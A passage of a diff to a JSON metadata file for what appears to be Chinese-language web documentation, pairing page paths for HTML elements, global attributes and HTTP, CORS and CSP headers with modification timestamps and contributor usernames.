"2020-10-15T21:40:22.004Z", + "Web/HTTP/CORS/Errors/CORSMethodNotFound": { + "modified": "2019-08-27T04:22:52.153Z", "contributors": [ - "xgqfrms", - "studyMakesMeHappy", - "zhangchen", - "Roger-WIN", - "wizardforcel", - "Martin.Chow" + "laingke" ] }, - "Web/HTML/Element/s": { - "modified": "2020-10-15T21:55:24.184Z", + "Web/HTTP/CORS/Errors/CORSMissingAllowOrigin": { + "modified": "2019-03-18T21:22:06.783Z", "contributors": [ - "gafish", - "wizardforcel" + "zhangchen", + "coderyyx" ] }, - "Web/HTML/Element/samp": { - "modified": "2019-03-23T22:33:11.911Z", + "Web/HTTP/CORS/Errors/CORSMultipleAllowOriginNotAllowed": { + "modified": "2019-10-30T01:07:54.026Z", "contributors": [ - "luobotang" + "Fimreal" ] }, - "Web/HTML/Element/script": { - "modified": "2020-08-05T19:13:19.581Z", + "Web/HTTP/CORS/Errors/CORSNotSupportingCredentials": { + "modified": "2019-06-16T23:37:59.140Z", "contributors": [ - "mitaosi", - "michalska.lucyna88", - "harryzcy", - "namklaw", - "heekei", - "Soy", - "unclesamnumberone", - "Jackandjohn", - "xhlsrj", - "xgqfrms-GitHub", - "Ende93", - "ahwassa", - "gqqnbig", - "fskuok" + "feiyuerenhai" ] }, - "Web/HTML/Element/section": { - "modified": "2020-10-15T21:22:44.033Z", + "Web/HTTP/CORS/Errors/CORSOriginHeaderNotAdded": { + "modified": "2019-03-18T21:29:48.470Z", "contributors": [ - "shawn20111416", - "gafish", - "wbamberg", - "kevinfszu", - "Annlix", - "ziyunfei", - "TimZhao" + "luna666" ] }, - "Web/HTML/Element/select": { - "modified": "2020-10-15T21:27:52.792Z", + "Web/HTTP/CORS/Errors/CORSPreflightDidNotSucceed": { + "modified": "2019-03-18T21:17:44.250Z", "contributors": [ - "Carllllo", - "zhangchen", - "wbamberg", - "pavilion2t", - "DUHZ", - "brandonzhu", - "ReyCG", - "ziyunfei" + "MinimalistYing" ] }, - "Web/HTML/Element/slot": { - "modified": "2020-10-15T21:54:42.237Z", + "Web/HTTP/CORS/Errors/CORSRequestNotHttp": { + "modified": "2019-09-20T04:35:01.396Z", "contributors": [ - "Jennyshining", - "xgqfrms", - "maicss", - "n313893254" + "RainSlide", + "grape", + "xuyuehang", + "luna666" ] }, - "Web/HTML/Element/small": { - "modified": "2020-10-15T21:51:17.821Z", + "Web/HTTP/CSP": { + "modified": "2020-10-15T21:34:44.353Z", "contributors": [ - "gafish", - "wizardforcel", - "rollinhup", - "Tidejade" + "fanjieqi", + "phodal", + "ceido", + "jwhitlock", + "ldwformat", + "wang1dot0", + "WayneCui", + "xgqfrms-GitHub", + "zhang-quan-yi", + "hxl", + "zhi.lin", + "yuankunzhang", + "ziyunfei", + "Breezewish" ] }, - "Web/HTML/Element/source": { - "modified": "2019-07-01T10:30:44.709Z", + "Web/HTTP/Compression": { + "modified": "2019-06-20T00:32:44.768Z", "contributors": [ - "l613", - "flyingsouthwind", - "naive233", - "ziyunfei", - "x-false" + "liangzhaorong", + "BobGreen", + "zhangchen", + "WayneCui" ] }, - "Web/HTML/Element/spacer": { - "modified": "2019-03-23T22:10:12.608Z", + "Web/HTTP/Conditional_requests": { + "modified": "2019-09-19T06:11:16.911Z", "contributors": [ - "wizardforcel" + "leah_humlelu", + "Trendymen", + "xianweics", + "WayneCui" ] }, - "Web/HTML/Element/span": { - "modified": "2020-11-23T03:27:28.387Z", + "Web/HTTP/Configuring_servers_for_Ogg_media": { + "modified": "2019-12-27T03:08:09.838Z", "contributors": [ - "Ende93", - "mitaosi", - "gafish", - "wh.D", - "OlafCheng", - "King.", - "Fadeoc" + "Syaki" ] }, - "Web/HTML/Element/strike": { - "modified": "2019-03-23T22:10:15.972Z", + "Web/HTTP/Connection_management_in_HTTP_1.x": { + "modified": "2019-11-07T04:16:26.733Z", "contributors": [ - "wizardforcel" + "woshiqiang1", + "Jack.Works", + "HardcorePhysician", + "jianglinghao", + "YiBanCangBai", + "guoshencheng", + "fanjieqi", + "athena0304", + "springapple", + "shaunlee" ] }, - "Web/HTML/Element/strong": { - "modified": "2019-03-23T22:28:05.903Z", + "Web/HTTP/Content_negotiation": { + "modified": "2020-10-08T10:02:32.752Z", "contributors": [ - "bobo159357456", - "liwenkang", - "coolguy" + "mh47838704", + "SunnyWind", + "lhc0101", + "WayneCui" ] }, - "Web/HTML/Element/style": { - "modified": "2020-10-15T21:33:11.824Z", + "Web/HTTP/Cookies": { + "modified": "2020-10-13T05:17:34.094Z", "contributors": [ - "dlnb526", - "VdoG", - "linghuam", - "RandyOu", - "mengzyou" + "fzhyzamt", + "dake0805", + "RoXoM", + "ysqzhang", + "zh244135370", + "luvsunlight", + "mingzhang6", + "rascalquan", + "houyewei", + "huangyingjie", + "zihengCat", + "lc-soft", + "zhang-hongwei", + "yenshen", + "keifergu", + "FideoJ", + "AlenQi", + "sintrb", + "jdk137", + "charlie" ] }, - "Web/HTML/Element/sub": { - "modified": "2019-03-23T22:10:11.284Z", + "Web/HTTP/Headers": { + "modified": "2020-05-20T02:33:50.716Z", "contributors": [ - "wizardforcel" + "spe-shun", + "cy234", + "c1er", + "Bayes", + "Jacksonary", + "rikkif", + "Weix", + "xgqfrms-GitHub", + "AlenQi", + "linzhixiong" ] }, - "Web/HTML/Element/summary": { - "modified": "2020-10-15T21:40:24.548Z", + "Web/HTTP/Headers/Accept": { + "modified": "2020-10-15T21:50:50.340Z", "contributors": [ - "JulesWang", + "xiaozhaofu", + "WayneCui", "xgqfrms-GitHub", - "Martin.Chow" + "stevobm" ] }, - "Web/HTML/Element/sup": { - "modified": "2019-10-01T21:38:22.903Z", + "Web/HTTP/Headers/Accept-CH": { + "modified": "2020-10-15T22:24:12.153Z", "contributors": [ - "wizardforcel" + "xuhui98" ] }, - "Web/HTML/Element/table": { - "modified": "2020-10-15T21:37:19.437Z", + "Web/HTTP/Headers/Accept-CH-Lifetime": { + "modified": "2020-10-15T22:25:10.809Z", "contributors": [ - "Ende93", - "stormyyd", - "Toobubble", - "codevvvv9", - "xgqfrms-GitHub", - "eforegist", - "jdk137", - "studentytj", - "PandaadnaP", - "Simcookies", - "zhe13", - "hexiaoming", - "FredWe" + "chen3feng" ] }, - "Web/HTML/Element/td": { - "modified": "2020-10-15T21:37:19.273Z", + "Web/HTTP/Headers/Accept-Charset": { + "modified": "2020-10-15T21:50:53.082Z", "contributors": [ - "RainSlide", - "853419196", - "FredWe" + "shinken008", + "Dorllen", + "WayneCui", + "xgqfrms-GitHub" ] }, - "Web/HTML/Element/template": { - "modified": "2020-10-15T21:31:49.045Z", + "Web/HTTP/Headers/Accept-Encoding": { + "modified": "2020-10-15T21:53:10.909Z", "contributors": [ - "zhangchen", - "sky5454", - "xgqfrms-GitHub", - "Breezewish" + "xiaozhaofu", + "WayneCui", + "felixwang-1989", + "yt449", + "xgqfrms-GitHub" ] }, - "Web/HTML/Element/textarea": { - "modified": "2020-10-15T21:37:11.943Z", + "Web/HTTP/Headers/Accept-Language": { + "modified": "2020-10-15T21:53:13.880Z", "contributors": [ - "Carllllo", - "wuzhibo", - "gafish", - "Bayes", - "xianjiezh", - "koaqiu", - "celinaYu", - "maicss", - "xgqfrms-GitHub", - "DeronLee", - "FredWe" + "ran", + "RainSlide", + "WayneCui", + "yuankunzhang" ] }, - "Web/HTML/Element/tfoot": { - "modified": "2020-10-15T22:04:34.366Z", + "Web/HTTP/Headers/Accept-Patch": { + "modified": "2020-10-15T22:19:49.009Z", "contributors": [ - "nagisa", - "tomoru" + "Sod-Momas" ] }, - "Web/HTML/Element/th": { - "modified": "2020-10-15T21:59:42.026Z", + "Web/HTTP/Headers/Accept-Ranges": { + "modified": "2020-10-15T21:54:15.134Z", "contributors": [ - "853419196", - "silkey", - "levinweb" + "Vincent-Hy", + "km-c", + "JianmingXia", + "crper", + "shevacjs" ] }, - "Web/HTML/Element/thead": { - "modified": "2020-10-15T21:52:32.187Z", + "Web/HTTP/Headers/Access-Control-Allow-Credentials": { + "modified": "2020-10-15T21:51:29.367Z", "contributors": [ - "gafish", + "deping_chen", + "Bayes", + "xiasha", "fscholz", - "gilking", - "xgqfrms-GitHub", - "wzvoid" + "crper", + "keqingrong", + "TiaossuP", + "tty4" ] }, - "Web/HTML/Element/time": { - "modified": "2019-03-24T00:15:12.173Z", + "Web/HTTP/Headers/Access-Control-Allow-Headers": { + "modified": "2020-10-15T21:54:48.443Z", "contributors": [ - "wbamberg", - "RandyOu", - "xunmorl", - "hxl", - "ziyunfei" + "GuoYaxiang", + "shadowkimi520", + "Soyaine", + "WayneCui" ] }, - "Web/HTML/Element/title": { - "modified": "2020-10-15T21:41:22.327Z", + "Web/HTTP/Headers/Access-Control-Allow-Methods": { + "modified": "2020-10-15T21:54:49.842Z", "contributors": [ - "dlnb526", - "tomcat1234", - "Annlix", - "venden" + "Jat", + "crper", + "WayneCui" ] }, - "Web/HTML/Element/tr": { - "modified": "2020-12-10T03:16:48.200Z", + "Web/HTTP/Headers/Access-Control-Allow-Origin": { + "modified": "2020-10-15T21:52:46.095Z", "contributors": [ - "窦静杰", - "Bayes", - "zxcvbnm" + "TiaossuP", + "konrumi" ] }, - "Web/HTML/Element/track": { - "modified": "2020-10-15T21:28:38.735Z", + "Web/HTTP/Headers/Access-Control-Expose-Headers": { + "modified": "2020-10-15T21:54:48.426Z", "contributors": [ - "lizheming", - "Alex-DMC", - "gafish", - "flyingsouthwind", - "wbamberg", - "naive233", - "Martin.Chow", - "hxl" + "lijsh", + "WayneCui" ] }, - "Web/HTML/Element/tt": { - "modified": "2019-03-23T22:22:44.407Z", + "Web/HTTP/Headers/Access-Control-Max-Age": { + "modified": "2020-10-15T21:54:52.194Z", "contributors": [ - "wizardforcel", - "sayNo123" + "zkerhcy", + "xiaozhaofu", + "jinliming2", + "crper", + "WayneCui" ] }, - "Web/HTML/Element/u": { - "modified": "2020-10-15T21:52:32.682Z", + "Web/HTTP/Headers/Access-Control-Request-Headers": { + "modified": "2020-10-15T21:54:29.946Z", "contributors": [ - "liruiux", - "yuyuanqiu", - "gafish", - "wizardforcel", - "hawm" + "xiaozhaofu", + "crper", + "WayneCui", + "xgqfrms-GitHub" ] }, - "Web/HTML/Element/ul": { - "modified": "2020-10-15T21:45:30.830Z", + "Web/HTTP/Headers/Access-Control-Request-Method": { + "modified": "2020-10-15T21:54:31.833Z", "contributors": [ - "xq20160912", - "gafish", - "RainSlide", - "ChaunceyWang", - "TangiDing", - "Eternaldeath", - "kgojiwong", - "Invar", - "Ende93" + "xiaozhaofu", + "WayneCui", + "xgqfrms-GitHub" ] }, - "Web/HTML/Element/var": { - "modified": "2020-10-15T21:40:23.614Z", + "Web/HTTP/Headers/Age": { + "modified": "2020-10-15T21:54:37.562Z", "contributors": [ - "xgqfrms", - "Martin.Chow" + "wangtongchao", + "fscholz", + "crper", + "WayneCui" ] }, - "Web/HTML/Element/video": { - "modified": "2020-10-15T21:26:33.227Z", + "Web/HTTP/Headers/Allow": { + "modified": "2019-03-23T22:14:32.513Z", "contributors": [ - "myy7362", - "Yangjia23", - "hahaaha", - "kirbey", - "DonSen", - "beautyTang", - "jnvf", - "Soyaine", - "wbamberg", - "Shangxin", - "esterTion", - "jfw10973", - "ziyunfei", - "hxl" + "yuankunzhang" ] }, - "Web/HTML/Element/wbr": { - "modified": "2020-10-15T21:55:23.940Z", + "Web/HTTP/Headers/Alt-Svc": { + "modified": "2020-10-15T22:12:25.895Z", "contributors": [ - "Ende93", - "wizardforcel" + "liuhaoXD", + "Light.G" ] }, - "Web/HTML/Element/xmp": { - "modified": "2020-10-15T21:40:04.585Z", + "Web/HTTP/Headers/Authorization": { + "modified": "2019-03-23T22:11:31.823Z", "contributors": [ - "GitHub-XQ", - "RainSlide", - "Martin.Chow" + "Bayes", + "crper", + "WayneCui" ] }, - "Web/HTML/Focus_management_in_HTML": { - "modified": "2019-03-23T23:31:56.410Z", + "Web/HTTP/Headers/Cache-Control": { + "modified": "2020-10-15T21:50:34.341Z", "contributors": [ - "xgqfrms-GitHub", - "kmc947373", - "sxxxsz", - "Breezewish", - "teoli", - "sunnylost" + "kidonng", + "woshiqiang1", + "DanielCui", + "taoyouh", + "tenghuanhe", + "ngulee", + "kaliExist", + "wangtongchao", + "marsorsun", + "cnc233", + "codevvvv9", + "pearzl", + "tianyuqingkong", + "zliy", + "NatureFeng", + "schickal", + "fscholz", + "shaunsxj", + "paranoidjk", + "visten" ] }, - "Web/HTML/Global_attributes": { - "modified": "2020-10-15T21:24:25.636Z", + "Web/HTTP/Headers/Clear-Site-Data": { + "modified": "2020-10-15T22:07:13.779Z", "contributors": [ - "wangfangping", - "gafish", - "fangshuaituo", - "depcorn", - "nagisa", - "qihuanlu01", - "eforegist", - "Ende93", - "sdc37h", - "Jasery", - "xgqfrms-GitHub", - "hawm", - "OlafCheng", - "vicvinc", - "Shaoqiang.Zhang", - "zhangking", - "TimZhao", - "ziyunfei", - "bugknightyyp" + "bershanskiy", + "wangtongchao" ] }, - "Web/HTML/Global_attributes/accesskey": { - "modified": "2020-10-15T21:54:59.494Z", + "Web/HTTP/Headers/Connection": { + "modified": "2020-10-15T21:51:42.086Z", "contributors": [ - "zhangchen", - "eforegist", - "ziyunfei", - "Ende93", - "wizardforcel", - "moque" + "zhuguibiao", + "ujsxn", + "shinyoo" ] }, - "Web/HTML/Global_attributes/autocapitalize": { - "modified": "2020-10-15T22:07:56.542Z", + "Web/HTTP/Headers/Content-Disposition": { + "modified": "2020-11-15T00:23:13.412Z", "contributors": [ - "zhangchen", - "eforegist" + "Alan-Liang", + "xiaozhaofu", + "WayneCui", + "icaoweiwei", + "JavacPro" ] }, - "Web/HTML/Global_attributes/class": { - "modified": "2020-10-15T21:39:56.865Z", + "Web/HTTP/Headers/Content-Encoding": { + "modified": "2020-10-15T21:54:51.398Z", "contributors": [ - "zhangchen", - "eforegist", - "YehaiChen", - "ChuckZhang", - "Feihei" + "DynamicAnt", + "WayneCui" ] }, - "Web/HTML/Global_attributes/contenteditable": { - "modified": "2020-10-15T21:37:25.983Z", + "Web/HTTP/Headers/Content-Language": { + "modified": "2020-10-15T21:54:49.923Z", "contributors": [ - "zhangchen", - "xgqfrms", - "eforegist", - "AlexChao" + "HankXu", + "yuantongkang", + "WayneCui" ] }, - "Web/HTML/Global_attributes/contextmenu": { - "modified": "2020-10-15T21:51:27.709Z", + "Web/HTTP/Headers/Content-Length": { + "modified": "2020-10-15T21:54:51.554Z", "contributors": [ - "SphinxKnight", - "eforegist", - "Ende93", - "shuangya" + "rascalquan", + "WayneCui" ] }, - "Web/HTML/Global_attributes/data-*": { - "modified": "2020-10-15T21:36:49.775Z", + "Web/HTTP/Headers/Content-Location": { + "modified": "2020-10-15T21:54:51.676Z", "contributors": [ - "wallena3", - "symant233", - "zhangchen", - "Bonlin0", - "eforegist", - "xgqfrms-GitHub", - "kameii", - "FredWe" + "WayneCui" ] }, - "Web/HTML/Global_attributes/dir": { - "modified": "2019-03-18T20:38:23.878Z", + "Web/HTTP/Headers/Content-Range": { + "modified": "2020-10-15T21:54:39.510Z", "contributors": [ - "jdk137", - "mona" + "WayneCui" ] }, - "Web/HTML/Global_attributes/draggable": { - "modified": "2019-03-23T23:03:48.842Z", + "Web/HTTP/Headers/Content-Security-Policy": { + "modified": "2020-10-15T21:51:40.481Z", "contributors": [ - "TooBug" + "xiao11lang", + "hq5544", + "SphinxKnight", + "lowerpierman", + "taoyouh", + "imba-tjd", + "lvgg3271", + "alan199355", + "anchen", + "9ii", + "Forbidden", + "crper", + "lcw0622", + "SuunZhu" ] }, - "Web/HTML/Global_attributes/dropzone": { - "modified": "2019-03-23T22:10:15.156Z", + "Web/HTTP/Headers/Content-Security-Policy-Report-Only": { + "modified": "2020-10-15T21:55:30.073Z", "contributors": [ - "wizardforcel" + "Pada" ] }, - "Web/HTML/Global_attributes/hidden": { - "modified": "2020-10-08T07:06:44.011Z", + "Web/HTTP/Headers/Content-Security-Policy/base-uri": { + "modified": "2020-10-15T21:56:06.256Z", "contributors": [ - "Martin730913", - "LeoQuote", - "wizardforcel", - "bestdream", - "gaopu" + "SphinxKnight", + "WayneCui" ] }, - "Web/HTML/Global_attributes/id": { - "modified": "2020-10-15T21:37:13.339Z", + "Web/HTTP/Headers/Content-Security-Policy/block-all-mixed-content": { + "modified": "2020-10-15T21:56:06.231Z", "contributors": [ - "shawn20111416", - "kidonng", - "YehaiChen", - "JoshuaLee", - "zhangyudan" + "SphinxKnight", + "WayneCui" ] }, - "Web/HTML/Global_attributes/inputmode": { - "modified": "2020-10-15T22:20:42.369Z", + "Web/HTTP/Headers/Content-Security-Policy/child-src": { + "modified": "2020-10-15T22:22:07.630Z", "contributors": [ - "qiudongwei" + "SphinxKnight", + "1930082875" ] }, - "Web/HTML/Global_attributes/is": { - "modified": "2020-10-15T22:04:17.093Z", + "Web/HTTP/Headers/Content-Security-Policy/connect-src": { + "modified": "2020-10-15T22:04:24.950Z", "contributors": [ - "Kollar93" + "SphinxKnight", + "shevacjs" ] }, - "Web/HTML/Global_attributes/itemid": { - "modified": "2019-03-23T22:10:08.155Z", + "Web/HTTP/Headers/Content-Security-Policy/default-src": { + "modified": "2020-10-15T21:55:35.542Z", "contributors": [ - "Ende93", - "wizardforcel" + "SphinxKnight", + "eachcan", + "shevacjs", + "Forbidden", + "WayneCui", + "EEord" ] }, - "Web/HTML/Global_attributes/itemprop": { - "modified": "2019-03-23T22:09:25.188Z", + "Web/HTTP/Headers/Content-Security-Policy/font-src": { + "modified": "2020-10-15T22:11:53.390Z", "contributors": [ - "xzy112233", - "MZI", - "bestdream" + "SphinxKnight", + "eachcan" ] }, - "Web/HTML/Global_attributes/itemref": { - "modified": "2019-07-13T06:25:04.662Z", + "Web/HTTP/Headers/Content-Security-Policy/form-action": { + "modified": "2020-10-15T22:20:11.267Z", "contributors": [ - "wangfangping", - "Mukti", - "wizardforcel" + "SphinxKnight", + "feiyuerenhai" ] }, - "Web/HTML/Global_attributes/itemscope": { - "modified": "2019-03-23T22:04:34.982Z", + "Web/HTTP/Headers/Content-Security-Policy/frame-ancestors": { + "modified": "2020-10-15T21:56:28.759Z", "contributors": [ - "codedrinker", - "Mukti" + "SphinxKnight", + "ldwformat" ] }, - "Web/HTML/Global_attributes/itemtype": { - "modified": "2019-03-23T22:10:01.057Z", + "Web/HTTP/Headers/Content-Security-Policy/report-to": { + "modified": "2020-10-15T22:04:25.324Z", "contributors": [ - "wizardforcel" + "SphinxKnight", + "shevacjs" ] }, - "Web/HTML/Global_attributes/lang": { - "modified": "2019-10-01T21:48:16.715Z", + "Web/HTTP/Headers/Content-Security-Policy/require-sri-for": { + "modified": "2020-10-15T22:04:29.993Z", "contributors": [ - "wangfangping", - "wizardforcel" + "SphinxKnight", + "shevacjs" ] }, - "Web/HTML/Global_attributes/part": { - "modified": "2020-10-15T22:31:54.138Z", + "Web/HTTP/Headers/Content-Security-Policy/sandbox": { + "modified": "2020-10-15T22:18:49.969Z", "contributors": [ - "wuding" + "SphinxKnight", + "Syclover-u2400" ] }, - "Web/HTML/Global_attributes/slot": { - "modified": "2020-10-15T21:55:11.414Z", + "Web/HTTP/Headers/Content-Security-Policy/script-src-elem": { + "modified": "2020-10-15T22:32:24.500Z", "contributors": [ - "zhangchen", - "wizardforcel" + "davidguhao" ] }, - "Web/HTML/Global_attributes/spellcheck": { - "modified": "2019-03-23T22:18:18.900Z", + "Web/HTTP/Headers/Content-Security-Policy/upgrade-insecure-requests": { + "modified": "2020-10-15T22:04:14.644Z", "contributors": [ - "wizardforcel", - "xcffl", - "fjh352", - "xgqfrms-GitHub" + "SphinxKnight", + "shevacjs" ] }, - "Web/HTML/Global_attributes/style": { - "modified": "2019-03-23T22:10:06.901Z", + "Web/HTTP/Headers/Content-Security-Policy/worker-src": { + "modified": "2020-10-15T22:30:56.058Z", "contributors": [ - "wizardforcel" + "oyyunttt" ] }, - "Web/HTML/Global_attributes/tabindex": { - "modified": "2020-10-15T21:55:15.899Z", + "Web/HTTP/Headers/Content-Type": { + "modified": "2020-10-15T21:50:48.235Z", "contributors": [ - "xrkffgg", - "zhangchen", - "fjh352", - "wizardforcel" + "ZL1019", + "kadoufall", + "WayneCui", + "xgqfrms-GitHub", + "wanhh" ] }, - "Web/HTML/Global_attributes/title": { - "modified": "2020-03-11T07:59:38.824Z", + "Web/HTTP/Headers/Cookie": { + "modified": "2020-10-15T21:54:53.599Z", "contributors": [ - "YangYihui", - "monkeyDyang", - "wizardforcel" + "WayneCui" ] }, - "Web/HTML/Global_attributes/translate": { - "modified": "2019-06-05T06:41:04.292Z", + "Web/HTTP/Headers/Cookie2": { + "modified": "2020-10-15T21:54:52.521Z", "contributors": [ - "Martin.Chow" + "WayneCui" ] }, - "Web/HTML/Global_attributes/x-ms-加速装置键": { - "modified": "2019-12-03T17:45:24.248Z", + "Web/HTTP/Headers/Cross-Origin-Embedder-Policy": { + "modified": "2020-10-15T22:33:37.678Z", "contributors": [ - "pans9" + "jguo0118", + "hellorayza" ] }, - "Web/HTML/Global_attributes/x-ms-格式-检测": { - "modified": "2019-12-03T17:54:04.795Z", + "Web/HTTP/Headers/Cross-Origin-Resource-Policy": { + "modified": "2020-10-15T22:17:29.651Z", "contributors": [ - "pans9" + "NightKing_hmsf" ] }, - "Web/HTML/Index": { - "modified": "2019-03-21T11:52:09.419Z", + "Web/HTTP/Headers/DNT": { + "modified": "2020-10-15T21:54:53.651Z", "contributors": [ - "RainSlide", - "xcffl" + "yenshen", + "WayneCui" ] }, - "Web/HTML/Inline_elements": { - "modified": "2020-08-05T19:04:54.777Z", + "Web/HTTP/Headers/DPR": { + "modified": "2020-10-15T22:25:12.812Z", "contributors": [ - "mitaosi", - "chrisdavidmills", - "Raine_Huang", - "FredWe", - "ziyunfei", - "pmtao" + "zhangchen", + "charles-debug" ] }, - "Web/HTML/Link_types": { - "modified": "2020-10-15T21:31:40.375Z", + "Web/HTTP/Headers/Date": { + "modified": "2020-10-15T21:54:52.166Z", "contributors": [ - "chanvin", - "Yayure", - "gafish", - "JuliusKingsley", - "songlime", - "liutongshuo", - "idlefire", - "hstarorg", - "Ende93", - "grtreexyz", - "blue0125", - "Breezewish" + "liaozhaonan", + "WayneCui" ] }, - "Web/HTML/Link_types/prefetch": { - "modified": "2020-10-15T22:29:06.249Z", + "Web/HTTP/Headers/Device-Memory": { + "modified": "2020-10-15T22:27:14.967Z", "contributors": [ - "chanvin" + "csliubo" ] }, - "Web/HTML/Link_types/preload": { - "modified": "2020-10-15T22:29:06.417Z", + "Web/HTTP/Headers/Digest": { + "modified": "2020-10-15T22:22:30.332Z", "contributors": [ - "chanvin" + "Mulan" ] }, - "Web/HTML/Microdata": { - "modified": "2019-07-13T06:56:53.858Z", - "contributors": [ - "wangfangping" + "Web/HTTP/Headers/ETag": { + "modified": "2020-10-15T21:54:16.091Z", + "contributors": [ + "Opportunity", + "zhangchen", + "LeoQuote", + "qihaiyan", + "Mdxin", + "WayneCui", + "luckymore" ] }, - "Web/HTML/Optimizing_your_pages_for_speculative_parsing": { - "modified": "2019-03-23T22:46:26.910Z", + "Web/HTTP/Headers/Early-Data": { + "modified": "2020-10-15T22:10:58.660Z", "contributors": [ - "huangcheng", - "ziyunfei", - "mengshukun" + "Greenstorm", + "TUARAN" ] }, - "Web/HTML/Preloading_content": { - "modified": "2020-06-09T23:26:32.370Z", + "Web/HTTP/Headers/Expect": { + "modified": "2019-03-23T22:11:24.440Z", "contributors": [ - "huyue", - "chanvin", - "sutaojie", - "haoliangwu", - "Axue", - "ldwformat" + "WayneCui" ] }, - "Web/HTML/Quirks_Mode_and_Standards_Mode": { - "modified": "2020-01-30T04:57:28.634Z", + "Web/HTTP/Headers/Expect-CT": { + "modified": "2020-10-15T22:03:02.147Z", "contributors": [ - "RainSlide", - "Kacoo", - "chrisdavidmills", - "iigmir", - "anfGG8G0G8" + "ariable" ] }, - "Web/HTML/Reference": { - "modified": "2019-09-09T07:23:44.694Z", + "Web/HTTP/Headers/Expires": { + "modified": "2020-10-15T21:50:45.740Z", "contributors": [ - "SphinxKnight", - "wbamberg", - "FredWe", - "Breezewish" + "stuxu", + "Fiag", + "marsorsun", + "sunyanan891114", + "Simba.Lin", + "paranoidjk" ] }, - "Web/HTML/Supported_media_formats": { - "modified": "2019-07-03T23:42:04.646Z", + "Web/HTTP/Headers/Feature-Policy": { + "modified": "2020-10-15T22:18:06.274Z", "contributors": [ - "l613", - "zodiac-xl", - "ziyunfei" + "roostinghawk" ] }, - "Web/HTML/Using_the_application_cache": { - "modified": "2019-10-29T05:43:20.065Z", + "Web/HTTP/Headers/Feature-Policy/autoplay": { + "modified": "2020-10-15T22:18:28.072Z", "contributors": [ - "7NZ", - "xgqfrms-GitHub", - "eforegist", - "liuzeyafzy", - "nianiaJR", - "shajiquan", - "hdwills", - "teoli", - "fsy0718", - "sunnylost", - "karsa.si" + "baijingfeng" ] }, - "Web/HTTP": { - "modified": "2020-08-27T09:08:49.830Z", + "Web/HTTP/Headers/Feature-Policy/camera": { + "modified": "2020-10-15T22:26:24.357Z", "contributors": [ - "Lsnsh", - "dujun", - "RainSlide", - "taoyouh", - "shengjieli", - "userand", - "syt-honey", - "Pengfei", - "zhuangyin", - "JamieYang", - "xuxun", - "Ende93", - "xgqfrms-GitHub", - "sunnylost", - "cissoid", - "TomasRan", - "DreamerKing", - "ziyunfei" + "K.Pen" ] }, - "Web/HTTP/Access_control_CORS": { - "modified": "2020-11-30T22:27:21.749Z", + "Web/HTTP/Headers/Forwarded": { + "modified": "2019-03-23T22:11:01.048Z", "contributors": [ - "seawaywen", - "fuweichin", - "jsonz1993", - "shens3", - "chanvin", - "SirnoChan", - "skywalker_z", - "Noodles006", - "yantong", - "hansnow", - "leoxiao2012", - "kunyaoxu", - "zjffun", - "show-rosarugosa", - "hnzxmutex", - "miuchan", - "ChenShihao", - "alvan", - "BobGreen", - "jiladahe1997", - "ErCargo", - "s1len0eye", - "zhang-hongwei", - "zthxxx", - "NineRec", - "recursion", - "libmw", - "bestvow", - "JuFoFu", - "xgqfrms-GitHub", - "bigZ-again", - "yuankunzhang", - "FideoJ", - "AlenQi", - "Ende93", - "wanglijie", - "yumingzhe", - "mygaochunming", - "Marcia_gm", - "xgqfrms", - "ybwdaisy", - "fjywan", - "holynewbie", - "gqqnbig", - "EdwardStudy", - "ssjssh", - "Kevin-Xi", - "8427003", - "Meteormatt", - "OOP-Code-Bunny", - "CManLH", - "qiumaoyuan" + "ujsxn", + "WayneCui" ] }, - "Web/HTTP/Authentication": { - "modified": "2020-01-19T22:05:27.998Z", + "Web/HTTP/Headers/From": { + "modified": "2020-10-15T21:54:57.725Z", "contributors": [ - "cekingLu", - "gsxuan", - "zjffun", - "fanjieqi", - "rianma", - "wangpin", - "crper", - "WayneCui", - "GeJusdot", - "thomastao0215" + "LiquidLiquids", + "WayneCui" ] }, - "Web/HTTP/Basics_of_HTTP": { - "modified": "2020-05-07T23:19:31.676Z", + "Web/HTTP/Headers/Host": { + "modified": "2020-10-15T21:51:42.418Z", "contributors": [ - "Filon", - "HardcorePhysician", - "Yayure", - "695919451", - "BobGreen", - "magiclyde", - "cissoid" + "xinu", + "chentao106", + "wallen", + "crper", + "shinyoo" ] }, - "Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs": { - "modified": "2019-03-23T22:18:43.282Z", + "Web/HTTP/Headers/If-Match": { + "modified": "2020-10-15T21:55:00.013Z", "contributors": [ - "zqyue", - "Ende93", - "xgqfrms-GitHub", - "ziyunfei", - "chaos_zhang" + "ShiChenCong", + "Bayes", + "WayneCui" ] }, - "Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP": { - "modified": "2020-02-20T03:41:08.272Z", + "Web/HTTP/Headers/If-Modified-Since": { + "modified": "2020-10-15T21:55:01.333Z", "contributors": [ - "Babyfaceqian", - "XFJGitHub", - "lc-soft", - "BobGreen", - "enjolras1205", - "zihengCat", - "GuoShuai", - "Haruhi", - "huangchanghuan", - "keifergu", - "JsonLi", - "WeijieZhu" + "wangtongchao", + "WayneCui" ] }, - "Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web": { - "modified": "2019-05-06T05:35:10.899Z", + "Web/HTTP/Headers/If-None-Match": { + "modified": "2020-10-15T21:54:59.997Z", "contributors": [ - "wolfzZ", - "heyv5", - "springapple", - "Wendy_Love", - "yuankunzhang", - "little-tomorrow", - "DreamerKing" + "WayneCui" ] }, - "Web/HTTP/Basics_of_HTTP/MIME_types": { - "modified": "2020-11-04T00:16:29.009Z", + "Web/HTTP/Headers/If-Range": { + "modified": "2020-10-15T21:51:54.830Z", "contributors": [ - "lujjjh", - "andysongs", - "rascalquan", - "BobGreen", - "NewbieAndy", - "zhangchen", - "xgqfrms-GitHub", - "w11th", - "YuriTu" + "Froguard", + "LiuTong" ] }, - "Web/HTTP/Basics_of_HTTP/MIME_types/Common_types": { - "modified": "2020-02-28T13:11:23.222Z", + "Web/HTTP/Headers/If-Unmodified-Since": { + "modified": "2020-10-15T21:54:37.820Z", "contributors": [ - "chrisdavidmills", - "RainSlide", - "qq58553442", - "sam-dingkang", - "xgqfrms-GitHub", - "choury", - "pasturn" + "WayneCui" ] }, - "Web/HTTP/Browser_detection_using_the_user_agent": { - "modified": "2019-03-23T22:26:23.825Z", + "Web/HTTP/Headers/Index": { + "modified": "2019-08-30T03:36:19.849Z", "contributors": [ - "xgqfrms-GitHub", - "konrumi", - "Leogh", - "jianyi1995" + "whuhyw" ] }, - "Web/HTTP/CORS/Errors": { - "modified": "2019-05-27T00:23:38.306Z", + "Web/HTTP/Headers/Keep-Alive": { + "modified": 